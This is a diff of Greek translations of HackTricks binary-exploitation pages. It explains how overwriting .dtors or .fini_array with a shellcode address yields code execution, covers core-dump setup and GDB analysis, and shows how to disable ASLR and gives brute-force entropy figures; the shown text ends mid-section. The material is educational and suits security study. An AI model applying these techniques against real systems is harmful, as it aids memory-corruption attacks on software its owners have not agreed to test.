* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλει
</details>
{% endhint %}

View file

@ -1,42 +1,43 @@
# AWS2Exec - .dtors & .fini\_array
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## .dtors
{% hint style="danger" %}
Σήμερα είναι πολύ **παράξενο να βρείτε ένα δυαδικό με μια ενότητα .dtors**.
Σήμερα είναι πολύ **περίεργο να βρείτε ένα δυαδικό αρχείο με τμήμα .dtors**.
{% endhint %}
Οι καταστροφείς είναι συναρτήσεις που **εκτελούνται πριν το πρόγραμμα τελειώσει** (μετά την επιστροφή της συνάρτησης `main`).\
Οι διευθύνσεις αυτών των συναρτήσεων αποθηκεύονται μέσα στην **ενότητα `.dtors`** του δυαδικού και επομένως, αν καταφέρετε να **γράψετε** τη **διεύθυνση** ενός **shellcode** στο **`__DTOR_END__`**, αυτό θα **εκτελεστεί** πριν το πρόγραμμα τελειώσει.
Οι διευθύνσεις αυτών των συναρτήσεων αποθηκεύονται μέσα στο **`.dtors`** τμήμα του δυαδικού αρχείου και επομένως, αν καταφέρετε να **γράψετε** τη **διεύθυνση** σε ένα **shellcode** στο **`__DTOR_END__`**, αυτό θα **εκτελεστεί** πριν το πρόγραμμα τελειώσει.
Αποκτήστε τη διεύθυνση αυτής της ενότητας με:
Αποκτήστε τη διεύθυνση αυτού του τμήματος με:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Συνήθως θα βρείτε τα **σήματα DTOR** **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν βλέπετε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία συνάρτηση που έχει καταχωρηθεί**. Επομένως, **αντικαταστήστε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
Συνήθως θα βρείτε τους **DTOR** δείκτες **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν δείτε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία καταχωρημένη συνάρτηση**. Έτσι, **επικαλύψτε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
{% hint style="warning" %}
Φυσικά, πρώτα πρέπει να βρείτε ένα **σημείο για να αποθηκεύσετε το shellcode** ώστε να μπορέσετε να το καλέσετε αργότερα.
Φυσικά, πρώτα πρέπει να βρείτε μια **θέση για να αποθηκεύσετε το shellcode** προκειμένου να το καλέσετε αργότερα.
{% endhint %}
## **.fini\_array**
Ουσιαστικά αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα ολοκληρωθεί, όπως η **`.dtors`**. Αυτό είναι ενδιαφέρον όταν μπορείτε να καλέσετε το **shellcode απλά αναπηδώντας σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να πάτε **πίσω στο `main`** ξανά για να **εκμεταλλευτείτε την ευπάθεια μια δεύτερη φορά**.
Ουσιαστικά, αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα τελειώσει, όπως οι **`.dtors`**. Αυτό είναι ενδιαφέρον αν μπορείτε να καλέσετε το **shellcode απλά πηδώντας σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να επιστρέψετε ξανά στο **`main`** για να **εκμεταλλευτείτε την ευπάθεια για δεύτερη φορά**.
```bash
objdump -s -j .fini_array ./greeting
@ -47,22 +48,23 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
Σημείωσε ότι αυτό **δεν** θα δημιουργήσει έναν **αιώνιο βρόγχο** επειδή όταν επιστρέψεις στο κύριο πρόγραμμα, το canary θα το παρατηρήσει, το τέλος της στοίβας μπορεί να έχει καταστραφεί και η συνάρτηση δεν θα κληθεί ξανά. Έτσι, με αυτόν τον τρόπο θα μπορείς να **έχεις 1 ακόμη εκτέλεση** του ευπαθούς σημείου.
Σημειώστε ότι αυτό **δεν θα** **δημιουργήσει** έναν **αιώνιο βρόχο** επειδή όταν επιστρέψετε στο κύριο, το canary θα το παρατηρήσει, το τέλος της στοίβας μπορεί να έχει διαφθαρεί και η συνάρτηση δεν θα κληθεί ξανά. Έτσι, με αυτό θα μπορείτε να **έχετε 1 περισσότερη εκτέλεση** της ευπάθειας.
{% hint style="danger" %}
Σημείωσε ότι με το [Full Relro](../common-binary-protections-and-bypasses/relro.md), η ενότητα `.fini_array` γίνεται **μόνο για ανάγνωση**.
Σημειώστε ότι με [Full RELRO](../common-binary-protections-and-bypasses/relro.md), η ενότητα `.fini_array` γίνεται **μόνο για ανάγνωση**.
{% endhint %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλεις να δεις την **εταιρεία σου διαφημισμένη στο HackTricks** ή να **κατεβάσεις το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Απόκτησε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακάλυψε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγράψου στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολούθησε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιράσου τα κόλπα σου στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,55 @@
# Κοινές Προστασίες Δυαδικών Αρχείων
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Ενεργοποίηση Αρχείων Core
**Τα αρχεία Core** είναι ένας τύπος αρχείου που δημιουργείται από ένα λειτουργικό σύστημα όταν ένας διεργασία καταρρέει. Αυτά τα αρχεία καταγράφουν την εικόνα μνήμης της καταρριφθείσας διεργασίας στη στιγμή της τερματισμού της, συμπεριλαμβανομένης της μνήμης της διεργασίας, των καταχωρητών και της κατάστασης του μετρητή προγράμματος, μεταξύ άλλων λεπτομερειών. Αυτή η στιγμιότυπη εικόνα μπορεί να είναι εξαιρετικά χρήσιμη για αποσφαλμάτωση και κατανόηση του λόγου για τον οποίο συνέβη ο κρατικός τερματισμός.
**Αρχεία Core** είναι ένας τύπος αρχείου που δημιουργείται από ένα λειτουργικό σύστημα όταν μια διαδικασία καταρρεύσει. Αυτά τα αρχεία καταγράφουν την εικόνα μνήμης της κατεστραμμένης διαδικασίας τη στιγμή της τερματισής της, συμπεριλαμβανομένης της μνήμης της διαδικασίας, των καταχωρητών και της κατάστασης του μετρητή προγράμματος, μεταξύ άλλων λεπτομερειών. Αυτή η στιγμιότυπη εικόνα μπορεί να είναι εξαιρετικά πολύτιμη για την αποσφαλμάτωση και την κατανόηση του λόγου που συνέβη η κατάρρευση.
### **Ενεργοποίηση Δημιουργίας Αρχείων Core Dump**
### **Ενεργοποίηση Δημιουργίας Core Dump**
Από προεπιλογή, πολλά συστήματα περιορίζουν το μέγεθος των αρχείων core σε 0 (δηλαδή δεν δημιουργούν αρχεία core) για να εξοικονομήσουν χώρο στο δίσκο. Για να ενεργοποιήσετε τη δημιουργία αρχείων core, μπορείτε να χρησιμοποιήσετε την εντολή `ulimit` (σε κέλυφος bash ή παρόμοια κέλυφη) ή να διαμορφώσετε ρυθμίσεις σε επίπεδο συστήματος.
Από προεπιλογή, πολλά συστήματα περιορίζουν το μέγεθος των αρχείων core σε 0 (δηλαδή, δεν δημιουργούν αρχεία core) για να εξοικονομήσουν χώρο στο δίσκο. Για να ενεργοποιήσετε τη δημιουργία αρχείων core, μπορείτε να χρησιμοποιήσετε την εντολή `ulimit` (σε bash ή παρόμοιες θήκες) ή να ρυθμίσετε ρυθμίσεις σε επίπεδο συστήματος.
* **Χρησιμοποιώντας το ulimit**: Η εντολή `ulimit -c unlimited` επιτρέπει στην τρέχουσα συνεδρία κελύφους να δημιουργήσει αρχεία core με απεριόριστο μέγεθος. Αυτό είναι χρήσιμο για συνεδρίες αποσφαλμάτωσης αλλά δεν είναι μόνιμο σε επανεκκινήσεις ή νέες συνεδρίες.
* **Χρησιμοποιώντας ulimit**: Η εντολή `ulimit -c unlimited` επιτρέπει στην τρέχουσα συνεδρία θήκης να δημιουργεί αρχεία core απεριόριστου μεγέθους. Αυτό είναι χρήσιμο για συνεδρίες αποσφαλμάτωσης αλλά δεν είναι μόνιμο κατά την επανεκκίνηση ή σε νέες συνεδρίες.
```bash
ulimit -c unlimited
```
* **Μόνιμη διαμόρφωση**: Για μια πιο μόνιμη λύση, μπορείτε να επεξεργαστείτε το αρχείο `/etc/security/limits.conf` για να περιλαμβάνει μια γραμμή όπως `* soft core unlimited`, η οποία επιτρέπει σε όλους τους χρήστες να δημιουργούν αρχεία πυρήνα με μη περιορισμένο μέγεθος χωρίς την ανάγκη να ορίζουν χειροκίνητα το ulimit στις συνεδρίες τους.
* **Μόνιμη Διαμόρφωση**: Για μια πιο μόνιμη λύση, μπορείτε να επεξεργαστείτε το αρχείο `/etc/security/limits.conf` για να συμπεριλάβετε μια γραμμή όπως `* soft core unlimited`, η οποία επιτρέπει σε όλους τους χρήστες να δημιουργούν αρχεία core απεριόριστου μεγέθους χωρίς να χρειάζεται να ορίσουν το ulimit χειροκίνητα στις συνεδρίες τους.
```markdown
* soft core unlimited
```
### **Ανάλυση Αρχείων Core με το GDB**
### **Ανάλυση Αρχείων Core με GDB**
Για να αναλύσετε ένα αρχείο core, μπορείτε να χρησιμοποιήσετε εργαλεία αποσφαλμάτωσης όπως το GDB (ο GNU Debugger). Υποθέτοντας ότι έχετε ένα εκτελέσιμο αρχείο που παρήγαγε ένα core dump και το αρχείο core έχει το όνομα `core_file`, μπορείτε να ξεκινήσετε την ανάλυση με:
Για να αναλύσετε ένα αρχείο core, μπορείτε να χρησιμοποιήσετε εργαλεία αποσφαλμάτωσης όπως το GDB (GNU Debugger). Υποθέτοντας ότι έχετε ένα εκτελέσιμο που παρήγαγε μια απόθεση core και το αρχείο core ονομάζεται `core_file`, μπορείτε να ξεκινήσετε την ανάλυση με:
```bash
gdb /path/to/executable /path/to/core_file
```
Αυτή η εντολή φορτώνει το εκτελέσιμο και τον πυρήνα του αρχείου στο GDB, επιτρέποντάς σας να επιθεωρήσετε την κατάσταση του προγράμματος στη στιγμή του κρασαρίσματος. Μπορείτε να χρησιμοποιήσετε εντολές GDB για να εξερευνήσετε τη στοίβα, να εξετάσετε μεταβλητές και να κατανοήσετε τον λόγο του κρασαρίσματος.
Αυτή η εντολή φορτώνει το εκτελέσιμο και το core αρχείο στο GDB, επιτρέποντάς σας να εξετάσετε την κατάσταση του προγράμματος τη στιγμή της κατάρρευσης. Μπορείτε να χρησιμοποιήσετε τις εντολές GDB για να εξερευνήσετε τη στοίβα, να εξετάσετε μεταβλητές και να κατανοήσετε την αιτία της κατάρρευσης.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Η **Τυχαία Ανάθεση Διάταξης Χώρου (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για τη **τυχαία ανάθεση των διευθύνσεων μνήμης** που χρησιμοποιούνται από τις διεργασίες του συστήματος και τις εφαρμογές. Με αυτόν τον τρόπο, κάνει σημαντικά πιο δύσκολο για έναν εισβολέα να προβλέψει τη θέση συγκεκριμένων διεργασιών και δεδομένων, όπως η στοίβα, το σωρό και οι βιβλιοθήκες, με αποτέλεσμα τη μείωση ορισμένων τύπων εκμετάλλευσης, ιδιαίτερα των υπερχειλίσεων buffer.
**Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαίνει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης.
### **Έλεγχος Κατάστασης ASLR**
### **Checking ASLR Status**
Για να **ελέγξετε** την κατάσταση του ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το αρχείο `/proc/sys/kernel/randomize_va_space`. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται:
Για να **ελέγξετε** την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το αρχείο `/proc/sys/kernel/randomize_va_space`. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται:
* **0**: Χωρίς τυχαίοποίηση. Όλα είναι στατικά.
* **1**: Συντηρητική τυχαίοποίηση. Οι κοινόχρηστες βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO τυχαιοποιούνται.
* **2**: Πλήρης τυχαίοποίηση. Εκτός από τα στοιχεία που τυχαιοποιούνται από τη συντηρητική τυχαίοποίηση, η μνήμη που διαχειρίζεται μέσω του `brk()` τυχαιοποιείται.
* **0**: Καμία τυχαία διάταξη. Όλα είναι στατικά.
* **1**: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαίες.
* **2**: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαίνουν από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του `brk()` είναι τυχαία.
Μπορείτε να ελέγξετε την κατάσταση του ASLR με την ακόλουθη εντολή:
Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Απενεργοποίηση του ASLR**
### **Απενεργοποίηση ASLR**
Για να **απενεργοποιήσετε** το ASLR, ορίζετε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR συνήθως δεν συνιστάται εκτός από περιπτώσεις ελέγχου ή αποσφαλμάτωσης. Ακολουθεί πως μπορείτε να το απενεργοποιήσετε:
Για να **απενεργοποιήσετε** το ASLR, ορίστε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν τα βήματα για να το απενεργοποιήσετε:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -41,15 +42,15 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Ενεργοποίηση του ASLR**
### **Ενεργοποίηση ASLR**
Για να **ενεργοποιήσετε** το ASLR, μπορείτε να γράψετε μια τιμή **2** στο αρχείο `/proc/sys/kernel/randomize_va_space`. Αυτό απαιτεί συνήθως δικαιώματα ριζού. Η ενεργοποίηση πλήρους τυχαίοποίησης μπορεί να γίνει με την ακόλουθη εντολή:
Για να **ενεργοποιήσετε** το ASLR, μπορείτε να γράψετε μια τιμή **2** στο αρχείο `/proc/sys/kernel/randomize_va_space`. Αυτό συνήθως απαιτεί δικαιώματα root. Η πλήρης τυχαία κατανομή μπορεί να γίνει με την ακόλουθη εντολή:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Μόνιμη Διατήρηση Μετά την Επανεκκίνηση**
### **Επιμονή Μεταξύ Επανεκκινήσεων**
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναφερθούν μετά από επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναρυθμιστούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
@ -59,56 +60,56 @@ kernel.randomize_va_space=0 # Disable ASLR
```bash
sudo sysctl -p
```
Αυτό θα εξασφαλίσει ότι οι ρυθμίσεις του ASLR παραμένουν μετά από επανεκκίνηση.
This will ensure that your ASLR settings remain across reboots.
## **Παρακάμψεις**
## **Bypasses**
### Βίαιη εξαναγκαστική επίθεση 32bit
### 32bit brute-forcing
Το PaX διαιρεί τον χώρο διεύθυνσης διεργασίας σε **3 ομάδες**:
PaX διαιρεί τον χώρο διευθύνσεων της διαδικασίας σε **3 ομάδες**:
* **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπία στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διεργασία και προστίθεται στις αρχικές διευθύνσεις.
* **Μνήμη** που εκχωρείται από την `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, με την ονομασία `delta_mmap`.
* **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί πραγματικά **11 bits** (από τον 10ο έως τον 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένα σε **16 bytes** —> Αυτό οδηγεί σε **524,288 πιθανές πραγματικές διευθύνσεις στοίβας**.
